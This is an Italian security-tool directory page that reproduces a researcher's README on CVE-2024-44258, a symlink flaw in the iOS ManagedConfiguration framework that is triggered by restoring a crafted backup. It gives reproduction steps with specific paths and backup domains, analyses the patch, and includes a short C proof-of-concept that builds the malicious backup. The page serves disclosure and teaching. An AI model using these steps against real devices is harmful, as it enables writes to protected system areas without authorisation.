Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-44258 — CVE-2024-44258 | Kitploit
Strumenti/GitHubGitHub/ifpdz/cve-2024-44258
Escalation di PrivilegiSicurezza iOSAnalisi delle VulnerabilitàExploitPost-ExploitSicurezza Mobile
GitHubifpdz/cve-2024-44258

CVE-2024-44258

CVE-2024-44258

Vedi Repository
8914491 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-44258: Vulnerabilità di collegamento simbolico nel framework ManagedConfiguration

Sommario

CVE-2024-44258 evidenzia una vulnerabilità di collegamento simbolico all'interno del framework ManagedConfiguration e del demone profiled nei dispositivi Apple. Quando si ripristina un backup appositamente creato, il processo di migrazione non riesce a verificare se la cartella di destinazione è un collegamento simbolico (symlink), portando a una migrazione non autorizzata di file in aree ristrette.


ID CVE

CVE-2024-44258 è stato assegnato a questo problema. I CVE sono identificatori univoci per vulnerabilità di sicurezza divulgate pubblicamente.

  • Impatto: Il ripristino di un file di backup creato in modo malevolo potrebbe portare alla modifica di file di sistema protetti.
  • Descrizione: Il problema è stato risolto con una migliore gestione dei collegamenti simbolici nei componenti interessati.

Per maggiori informazioni, consultare le pagine di supporto ufficiali Apple:

  • support.apple.com/en-us/121569
  • support.apple.com/en-us/121566
  • support.apple.com/en-us/121563

Dettagli

Componenti interessati:

  • ManagedConfiguration framework
  • profiled daemon

Impatto:

La vulnerabilità consente agli aggressori di sfruttare i collegamenti simbolici durante il ripristino di un backup per aggirare le restrizioni delle cartelle, scrivendo file in aree sandbox o protette. Questa falla può potenzialmente consentire accesso non autorizzato ai dati, escalation dei privilegi o sfruttamento di altri servizi dipendenti dalla configurazione modificata.


Passaggi per riprodurre

  1. Creare un backup manipolato

    • Creare un collegamento simbolico da:
      /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
      a una cartella sandbox utilizzando il dominio:
      root@kitploit:~
      SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
      
  2. Aggiungere i file desiderati

    • Inserire file e cartelle in:
      /private/var/mobile/Library/ConfigurationProfiles
      utilizzando il HomeDomain.
  3. Ripristinare il backup manipolato

    • Ripristinare il backup su qualsiasi dispositivo iPhone, iPod o iPad.
  4. Riavviare il dispositivo

    • Dopo il riavvio, ispezionare il contenuto dell'area ristretta. I file/cartelle saranno migrati in una posizione precedentemente protetta.

Risultati attesi vs. effettivi

  • Previsto:
    /private/var/mobile/Library/ConfigurationProfiles dovrebbe migrare in:
    /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/

  • Effettivo:
    A causa del collegamento simbolico creato ad arte, i file vengono migrati in una cartella ristretta che può contenere dati sensibili o protetti.


Stato dello sfruttamento

Questa vulnerabilità è stata osservata in natura per diversi mesi, indicando il suo sfruttamento attivo.


Spiegazione della patch

In iOS 18.1 beta5, Apple ha introdotto una patch per risolvere la vulnerabilità del collegamento simbolico all'interno del framework ManagedConfiguration. La funzione _MCDestinationPathIsSafeFromSymlinkAttacks è stata aggiunta per eseguire un controllo di sicurezza sul percorso di destinazione, impedendo la migrazione non autorizzata di file in aree ristrette. Questo controllo è stato aggiunto specificamente alla funzione MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:.


Funzione interessata: -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]

La correzione della vulnerabilità è stata implementata modificando la funzione -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:], responsabile della gestione delle migrazioni di file all'interno del framework ManagedConfiguration. Ecco come funziona la patch:

  • Aggiunta del controllo del collegamento simbolico
    Apple ha aggiunto una chiamata a _MCDestinationPathIsSafeFromSymlinkAttacks all'inizio di MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:. Questa funzione ora verifica se il percorso di destinazione è privo di collegamenti simbolici, aggiungendo un livello di protezione prima di eseguire qualsiasi operazione di migrazione.

  • Controllo condizione
    Se _MCDestinationPathIsSafeFromSymlinkAttacks rileva un collegamento simbolico nel percorso di destinazione, impedisce alla migrazione di procedere. La funzione registra un messaggio di fault utilizzando OS_LOG_TYPE_FAULT e termina anticipatamente, fermando l'operazione del file.


Confronto del codice

Utilizzando Diaphora in IDA, un confronto diff tra iOS 18.1 beta4 e iOS 18.1 beta5 rivela le modifiche nella funzione -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]. L'immagine sottostante mostra il codice modificato con il controllo del collegamento simbolico aggiunto.

Patch Comparison


PoC (Proof of Concept)

Di seguito è riportato un frammento di codice di esempio che dimostra come creare un backup che sfrutta la vulnerabilità. Questo codice delinea come aggiungere collegamenti simbolici e file al backup, simulando il processo senza fornire il file di backup manipolato effettivo.

root@kitploit:~
unsigned char* plist_data = NULL;
        file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // THIS NEED TO BE CHANGED TO THE FILE PATH

    backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
    backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WE ADD OUR FILES
         
    backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
    backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGE THE PATH TO THE SANDBOXED FOLDER YOU WANT TO WRITE IN YOUR FILES
    
    backup_write_mbdb(backup); // SAVE THE BACKUP
    backup_free(backup);

Cronologia della divulgazione

  • Segnalazione iniziale ad Apple: [06/07/2024]
  • CVE assegnato: CVE-2024-44258
  • Divulgazione pubblica: [02/11/2024]

Riconoscimenti

Un ringraziamento speciale al team di sicurezza di Apple per la loro rapida risposta e collaborazione.

Vulnerabilità scoperta da Hichem Maloufi e Christian Mina


Licenza

Questo repository è concesso in licenza con la licenza MIT. Vedere LICENSE per maggiori informazioni.

Scarica lo strumento